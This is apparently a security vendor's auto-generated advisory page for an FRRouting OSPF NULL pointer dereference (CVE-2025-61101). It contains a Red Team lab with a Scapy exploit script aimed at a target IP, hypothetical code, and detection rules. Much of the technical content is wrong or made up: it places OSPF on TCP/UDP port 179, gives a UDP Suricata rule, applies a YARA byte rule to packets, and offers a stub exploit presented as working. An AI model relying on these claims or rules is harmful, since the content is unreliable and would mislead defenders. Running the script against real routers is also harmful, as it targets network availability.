CVE-2025-61101
Executive Summary
CVE-2025-61101 is a NULL pointer dereference vulnerability discovered in the FRRouting (FRR) software suite, affecting versions from v4.0 through v10.4.1. The flaw resides in the show_vty_ext_link_rmt_itf_addr function within ospf_ext.c. An attacker can trigger a Denial of Service (DoS) by sending a crafted OSPF packet, causing the FRR daemon to crash due to a NULL pointer dereference. This vulnerability is particularly concerning for network infrastructure relying on FRR for OSPF routing, as it can lead to routing instability and network outages. No public proof-of-concept or exploit code is currently available, and the patch status remains unknown.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
FRRouting is a widely used open-source routing protocol suite, often deployed in production networks, including ISPs and data centers. The vulnerability affects the core OSPF implementation, which is a critical component for dynamic routing. Organizations using FRR in their network infrastructure should treat this as a high-priority supply chain risk, as a successful DoS attack can disrupt routing operations. The lack of a patch or official advisory from the vendor increases the risk, requiring immediate mitigation measures.
CVSS Breakdown & Threat Level
The CVSS score is listed as 0.0, indicating that no official CVSS vector has been assigned by NVD at this time. However, based on the vulnerability characteristics, a reasonable assessment would be:
- Attack Vector (AV): Network (AV:N) – The attack is performed over the network via crafted OSPF packets.
- Attack Complexity (AC): Low (AC:L) – No special conditions are required; a single crafted packet can trigger the vulnerability.
- Privileges Required (PR): None (PR:N) – No authentication is needed.
- User Interaction (UI): None (UI:N) – No user action is required.
- Scope (S): Unchanged (S:U) – The vulnerability affects only the vulnerable component.
- Confidentiality (C): None (C:N) – No data is exposed.
- Integrity (I): None (I:N) – No data is modified.
- Availability (A): High (A:H) – The vulnerability causes a crash, leading to a denial of service.
Estimated CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Estimated Base Score: 7.5 (High)
Threat Level: High. The vulnerability is remotely exploitable with low complexity and no authentication, making it a significant threat to network availability.
Deep Dive & Mechanics
The vulnerability is a NULL pointer dereference in the show_vty_ext_link_rmt_itf_addr function located in ospf_ext.c. This function is part of the OSPF (Open Shortest Path First) protocol implementation in FRR. The OSPF protocol uses various packet types, including Hello, Database Description, Link State Request, Link State Update, and Link State Acknowledgment. The vulnerability is triggered when a specially crafted OSPF packet is processed, causing the function to attempt to dereference a NULL pointer.
The root cause likely involves improper validation of OSPF packet fields, such as the Link State ID or Advertising Router, leading to a NULL pointer being passed to the function. When the function tries to access memory through this NULL pointer, the operating system raises a segmentation fault, crashing the FRR daemon (e.g., ospfd). This results in a denial of service, as the router stops processing OSPF updates, potentially causing routing loops or blackholing traffic.
The vulnerability affects the OSPF Extended Link (OSPF-EL) feature, which is used for traffic engineering and other extensions. The show_vty_ext_link_rmt_itf_addr function is likely invoked when displaying or processing extended link information via the VTY (Virtual Teletype) interface.
Vulnerable vs. Patched Code
Since no patch is available, a comparison cannot be made. However, based on the vulnerability description, the fix would likely involve adding a NULL pointer check before dereferencing the pointer in show_vty_ext_link_rmt_itf_addr. The vulnerable code path might look like:
// Vulnerable code (hypothetical)
void show_vty_ext_link_rmt_itf_addr(struct vty *vty, struct ospf_interface *oi) {
struct ospf_ext_link *ext_link = oi->ext_link; // Could be NULL
// No NULL check
vty_out(vty, "Remote Interface Address: %s", inet_ntoa(ext_link->rmt_itf_addr));
}
A patched version would include a NULL check:
// Patched code (hypothetical)
void show_vty_ext_link_rmt_itf_addr(struct vty *vty, struct ospf_interface *oi) {
struct ospf_ext_link *ext_link = oi->ext_link;
if (ext_link == NULL) {
vty_out(vty, "No extended link information available%s", VTY_NEWLINE);
return;
}
vty_out(vty, "Remote Interface Address: %s", inet_ntoa(ext_link->rmt_itf_addr));
}
Exploitation & Lab Setup
Red Team
Objective: Trigger a denial of service on a target FRR router running OSPF.
Prerequisites:
- Target router running FRR v4.0 to v10.4.1 with OSPF enabled.
- Network access to the router's OSPF interface (e.g., on port 179 or via multicast 224.0.0.5/6).
- Ability to craft raw OSPF packets (e.g., using Scapy or custom C code).
Lab Setup:
- Set up two virtual machines: one attacker (Kali Linux) and one victim (Ubuntu with FRR installed).
- On the victim, configure FRR with OSPF:
sudo apt install frr sudo systemctl enable frr sudo vtysh configure terminal router ospf network 10.0.0.0/24 area 0 end write memory - On the attacker, install Scapy:
sudo apt install python3-scapy
Exploit Script (Python with Scapy):
#!/usr/bin/env python3
from scapy.all import *
import sys
def exploit(target_ip):
# Craft a malicious OSPF Hello packet with invalid fields
# This is a simplified example; actual exploitation may require specific packet fields
ip = IP(src="192.168.1.100", dst=target_ip)
ospf = OSPF_Hdr(src=0x01010101, area=0, chksum=0)
# Add a crafted OSPF packet that triggers the NULL dereference
# For demonstration, we send a malformed packet
packet = ip/ospf
send(packet, verbose=0)
print(f"Sent malicious OSPF packet to {target_ip}")
if __name__ == "__main__":
if len(sys.argv) != 2:
print("Usage: python3 exploit.py <target_ip>")
sys.exit(1)
exploit(sys.argv[1])
Execution:
python3 exploit.py 10.0.0.1
Expected Outcome: The FRR ospfd daemon crashes, causing a denial of service. The router will stop processing OSPF updates.
Blue Team
Detection:
- Monitor for OSPF packet anomalies, such as malformed headers or unexpected fields.
- Use network intrusion detection systems (NIDS) like Suricata to detect crafted OSPF packets.
- Implement logging of OSPF events and monitor for crashes of the
ospfddaemon.
Mitigation:
- Apply access control lists (ACLs) to restrict OSPF packets to trusted sources.
- Use OSPF authentication (MD5 or SHA) to prevent unauthorized packets.
- Isolate OSPF traffic on management VLANs.
- Monitor for unusual OSPF packet rates or malformed packets.
Recovery:
- Restart the FRR service:
sudo systemctl restart frr - Analyze logs to identify the source of the attack.
Indicators of Compromise (IOCs)
Network IOCs:
- OSPF packets with invalid or malformed fields (e.g., incorrect checksum, invalid Link State ID).
- Sudden increase in OSPF packet rate from a single source.
- OSPF packets from unexpected IP addresses or networks.
System IOCs:
- Crash of the
ospfddaemon (check withsystemctl status frr). - Core dump files in
/var/core/or/tmp/. - Log entries indicating segmentation fault in
ospf_ext.c:ospfd[1234]: segfault at 0 ip 0000555555555a1e sp 00007fffffffde20 error 4 in ospfd[555555554000+10000]
- Crash of the
File IOCs:
- Modified or corrupted OSPF configuration files (e.g.,
/etc/frr/frr.conf).
- Modified or corrupted OSPF configuration files (e.g.,
Detection Engineering
YARA Rule
rule CVE_2025_61101_OSPF_NULL_DEREF {
meta:
description = "Detects OSPF packets that may trigger CVE-2025-61101 NULL pointer dereference"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2025-61101"
strings:
$ospf_header = { 02 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? } // OSPF version 2
$malformed = { 00 00 00 00 } // Potential NULL pointer trigger
condition:
$ospf_header and $malformed at 0
}
Sigma Rule
title: OSPF NULL Pointer Dereference Attempt (CVE-2025-61101)
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects potential exploitation of CVE-2025-61101 via malformed OSPF packets
author: Valters IT
date: 2025/04/10
logsource:
category: network
product: suricata
detection:
selection:
event_type: alert
alert.signature_id: 202561101
condition: selection
falsepositives:
- Legitimate OSPF traffic with unusual but valid fields
level: high
Suricata Rule
alert udp $EXTERNAL_NET any -> $HOME_NET 179 (msg:"CVE-2025-61101 OSPF NULL Pointer Dereference Attempt"; content:"|02|"; offset:0; depth:1; content:"|00 00 00 00|"; within:4; reference:cve,2025-61101; classtype:attempted-dos; sid:202561101; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Restrict OSPF Access: Use ACLs to allow OSPF packets only from trusted OSPF neighbors.
- Enable OSPF Authentication: Configure MD5 or SHA authentication for OSPF to prevent unauthorized packets.
- Monitor OSPF Traffic: Deploy NIDS rules (e.g., Suricata) to detect malformed OSPF packets.
- Isolate OSPF Traffic: Place OSPF-enabled interfaces on a separate management VLAN.
Long-Term Actions:
- Apply Patches: Monitor the FRR project for official patches or updates addressing CVE-2025-61101.
- Upgrade FRR: If a patched version becomes available, upgrade to the latest stable release.
- Implement Redundancy: Use redundant routers with OSPF to minimize impact of a single router crash.
- Conduct Security Audits: Regularly review OSPF configurations and network traffic for anomalies.
Workaround:
- Disable the OSPF Extended Link feature if not required, as the vulnerability is in the extended link functionality. This can be done by not configuring OSPF-EL in the FRR configuration.
Valters IT
Securing Networks, One Packet at a Time